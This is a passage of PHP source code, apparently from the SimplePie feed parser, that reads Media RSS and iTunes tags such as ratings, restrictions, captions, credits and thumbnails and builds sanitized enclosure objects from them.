$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
} elseif ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
foreach ($ratings as $rating) {
$rating_scheme = 'urn:itunes';
$rating_value = null;
if (isset($rating['data'])) {
$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
} elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
foreach ($ratings as $rating) {
$rating_scheme = null;
$rating_value = null;
if (isset($rating['attribs']['']['scheme'])) {
$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$rating_scheme = 'urn:simple';
}
if (isset($rating['data'])) {
$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
} elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
foreach ($ratings as $rating) {
$rating_scheme = 'urn:itunes';
$rating_value = null;
if (isset($rating['data'])) {
$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
}
if (is_array($ratings_parent)) {
$ratings_parent = array_values(array_unique($ratings_parent));
}
// RESTRICTIONS
if ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
foreach ($restrictions as $restriction) {
$restriction_relationship = null;
$restriction_type = null;
$restriction_value = null;
if (isset($restriction['attribs']['']['relationship'])) {
$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['attribs']['']['type'])) {
$restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['data'])) {
$restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
} elseif ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
foreach ($restrictions as $restriction) {
$restriction_relationship = Restriction::RELATIONSHIP_ALLOW;
$restriction_type = null;
$restriction_value = 'itunes';
if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
$restriction_relationship = Restriction::RELATIONSHIP_DENY;
}
$restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
} elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
foreach ($restrictions as $restriction) {
$restriction_relationship = null;
$restriction_type = null;
$restriction_value = null;
if (isset($restriction['attribs']['']['relationship'])) {
$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['attribs']['']['type'])) {
$restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['data'])) {
$restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
} elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
foreach ($restrictions as $restriction) {
$restriction_relationship = Restriction::RELATIONSHIP_ALLOW;
$restriction_type = null;
$restriction_value = 'itunes';
if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
$restriction_relationship = Restriction::RELATIONSHIP_DENY;
}
$restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
}
if (count($restrictions_parent) > 0) {
$restrictions_parent = array_values(array_unique($restrictions_parent));
} else {
$restrictions_parent = [new \SimplePie\Restriction(Restriction::RELATIONSHIP_ALLOW, null, 'default')];
}
// THUMBNAILS
if ($thumbnails = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
foreach ($thumbnails as $thumbnail) {
if (isset($thumbnail['attribs']['']['url'])) {
$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
}
}
} elseif ($thumbnails = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
foreach ($thumbnails as $thumbnail) {
if (isset($thumbnail['attribs']['']['url'])) {
$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
}
}
}
// TITLES
if ($title_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
if (isset($title_parent[0]['data'])) {
$title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
} elseif ($title_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
if (isset($title_parent[0]['data'])) {
$title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
}
// Clear the memory
unset($parent);
// Attributes
$bitrate = null;
$channels = null;
$duration = null;
$expression = null;
$framerate = null;
$height = null;
$javascript = null;
$lang = null;
$length = null;
$medium = null;
$samplingrate = null;
$type = null;
$url = null;
$width = null;
// Elements
$captions = null;
$categories = null;
$copyrights = null;
$credits = null;
$description = null;
$hashes = null;
$keywords = null;
$player = null;
$ratings = null;
$restrictions = null;
$thumbnails = null;
$title = null;
// If we have media:group tags, loop through them.
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group') as $group) {
if (isset($group['child']) && isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
// If we have media:content tags, loop through them.
foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
if (isset($content['attribs']['']['url'])) {
// Attributes
$bitrate = null;
$channels = null;
$duration = null;
$expression = null;
$framerate = null;
$height = null;
$javascript = null;
$lang = null;
$length = null;
$medium = null;
$samplingrate = null;
$type = null;
$url = null;
$width = null;
// Elements
$captions = null;
$categories = null;
$copyrights = null;
$credits = null;
$description = null;
$hashes = null;
$keywords = null;
$player = null;
$ratings = null;
$restrictions = null;
$thumbnails = null;
$title = null;
// Start checking the attributes of media:content
if (isset($content['attribs']['']['bitrate'])) {
$bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['channels'])) {
$channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['duration'])) {
$duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$duration = $duration_parent;
}
if (isset($content['attribs']['']['expression'])) {
$expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['framerate'])) {
$framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['height'])) {
$height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['lang'])) {
$lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['fileSize'])) {
$length = intval($content['attribs']['']['fileSize']);
}
if (isset($content['attribs']['']['medium'])) {
$medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['samplingrate'])) {
$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['type'])) {
$type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['width'])) {
$width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($content));
// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
// CAPTIONS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
$caption_type = null;
$caption_lang = null;
$caption_startTime = null;
$caption_endTime = null;
$caption_text = null;
if (isset($caption['attribs']['']['type'])) {
$caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['lang'])) {
$caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['start'])) {
$caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['end'])) {
$caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['data'])) {
$caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
}
if (is_array($captions)) {
$captions = array_values(array_unique($captions));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
$caption_type = null;
$caption_lang = null;
$caption_startTime = null;
$caption_endTime = null;
$caption_text = null;
if (isset($caption['attribs']['']['type'])) {
$caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['lang'])) {
$caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['start'])) {
$caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['end'])) {
$caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['data'])) {
$caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
}
if (is_array($captions)) {
$captions = array_values(array_unique($captions));
}
} else {
$captions = $captions_parent;
}
// CATEGORIES
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['data'])) {
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = 'http://search.yahoo.com/mrss/category_schema';
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
}
if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['data'])) {
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = 'http://search.yahoo.com/mrss/category_schema';
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
}
if (is_array($categories) && is_array($categories_parent)) {
$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
} elseif (is_array($categories)) {
$categories = array_values(array_unique($categories));
} elseif (is_array($categories_parent)) {
$categories = array_values(array_unique($categories_parent));
}
// COPYRIGHTS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
$copyright_url = null;
$copyright_label = null;
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
$copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
$copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
$copyright_url = null;
$copyright_label = null;
if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
$copyright_url = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
$copyright_label = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
} else {
$copyrights = $copyrights_parent;
}
// CREDITS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
$credit_role = null;
$credit_scheme = null;
$credit_name = null;
if (isset($credit['attribs']['']['role'])) {
$credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($credit['attribs']['']['scheme'])) {
$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$credit_scheme = 'urn:ebu';
}
if (isset($credit['data'])) {
$credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
}
if (is_array($credits)) {
$credits = array_values(array_unique($credits));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
$credit_role = null;
$credit_scheme = null;
$credit_name = null;
if (isset($credit['attribs']['']['role'])) {
$credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($credit['attribs']['']['scheme'])) {
$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$credit_scheme = 'urn:ebu';
}
if (isset($credit['data'])) {
$credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
}
if (is_array($credits)) {
$credits = array_values(array_unique($credits));
}
} else {
$credits = $credits_parent;
}
// DESCRIPTION
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
$description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
$description = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$description = $description_parent;
}
// HASHES
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
$value = null;
$algo = null;
if (isset($hash['data'])) {
$value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($hash['attribs']['']['algo'])) {
$algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$algo = 'md5';
}
$hashes[] = $algo.':'.$value;
}
if (is_array($hashes)) {
$hashes = array_values(array_unique($hashes));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
$value = null;
$algo = null;
if (isset($hash['data'])) {
$value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($hash['attribs']['']['algo'])) {
$algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$algo = 'md5';
}
$hashes[] = $algo.':'.$value;
}
if (is_array($hashes)) {
$hashes = array_values(array_unique($hashes));
}
} else {
$hashes = $hashes_parent;
}
// KEYWORDS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
$temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords[] = trim($word);
}
unset($temp);
}
if (is_array($keywords)) {
$keywords = array_values(array_unique($keywords));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
$temp = explode(',', $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
foreach ($temp as $word) {
$keywords[] = trim($word);
}
unset($temp);
}
if (is_array($keywords)) {
$keywords = array_values(array_unique($keywords));
}
} else {
$keywords = $keywords_parent;
}
// PLAYER
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
$playerElem = $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
$player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
$playerElem = $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
$player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
} else {
$player = $player_parent;
}
// RATINGS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
$rating_scheme = null;
$rating_value = null;
if (isset($rating['attribs']['']['scheme'])) {
$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$rating_scheme = 'urn:simple';
}
if (isset($rating['data'])) {
$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
if (is_array($ratings)) {
$ratings = array_values(array_unique($ratings));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
$rating_scheme = null;
$rating_value = null;
if (isset($rating['attribs']['']['scheme'])) {
$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$rating_scheme = 'urn:simple';
}
if (isset($rating['data'])) {
$rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
}
if (is_array($ratings)) {
$ratings = array_values(array_unique($ratings));
}
} else {
$ratings = $ratings_parent;
}
// RESTRICTIONS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
$restriction_relationship = null;
$restriction_type = null;
$restriction_value = null;
if (isset($restriction['attribs']['']['relationship'])) {
$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['attribs']['']['type'])) {
$restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['data'])) {
$restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
if (is_array($restrictions)) {
$restrictions = array_values(array_unique($restrictions));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
$restriction_relationship = null;
$restriction_type = null;
$restriction_value = null;
if (isset($restriction['attribs']['']['relationship'])) {
$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['attribs']['']['type'])) {
$restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($restriction['data'])) {
$restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
}
if (is_array($restrictions)) {
$restrictions = array_values(array_unique($restrictions));
}
} else {
$restrictions = $restrictions_parent;
}
// THUMBNAILS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
}
if (is_array($thumbnails)) {
$thumbnails = array_values(array_unique($thumbnails));
}
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
}
if (is_array($thumbnails)) {
$thumbnails = array_values(array_unique($thumbnails));
}
} else {
$thumbnails = $thumbnails_parent;
}
// TITLES
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
$title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
$title = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$title = $title_parent;
}
$this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
}
}
}
}
// If we have standalone media:content tags, loop through them.
if (isset($this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
foreach ((array) $this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
if (isset($content['attribs']['']['url']) || isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
// Attributes
$bitrate = null;
$channels = null;
$duration = null;
$expression = null;
$framerate = null;
$height = null;
$javascript = null;
$lang = null;
$length = null;
$medium = null;
$samplingrate = null;
$type = null;
$url = null;
$width = null;
// Elements
$captions = null;
$categories = null;
$copyrights = null;
$credits = null;
$description = null;
$hashes = null;
$keywords = null;
$player = null;
$ratings = null;
$restrictions = null;
$thumbnails = null;
$title = null;
// Start checking the attributes of media:content
if (isset($content['attribs']['']['bitrate'])) {
$bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['channels'])) {
$channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['duration'])) {
$duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$duration = $duration_parent;
}
if (isset($content['attribs']['']['expression'])) {
$expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['framerate'])) {
$framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['height'])) {
$height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['lang'])) {
$lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['fileSize'])) {
$length = intval($content['attribs']['']['fileSize']);
}
if (isset($content['attribs']['']['medium'])) {
$medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['samplingrate'])) {
$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['type'])) {
$type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['width'])) {
$width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($content['attribs']['']['url'])) {
$url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($content));
}
// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
// CAPTIONS
if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
$caption_type = null;
$caption_lang = null;
$caption_startTime = null;
$caption_endTime = null;
$caption_text = null;
if (isset($caption['attribs']['']['type'])) {
$caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['lang'])) {
$caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['start'])) {
$caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['attribs']['']['end'])) {
$caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($caption['data'])) {
$caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
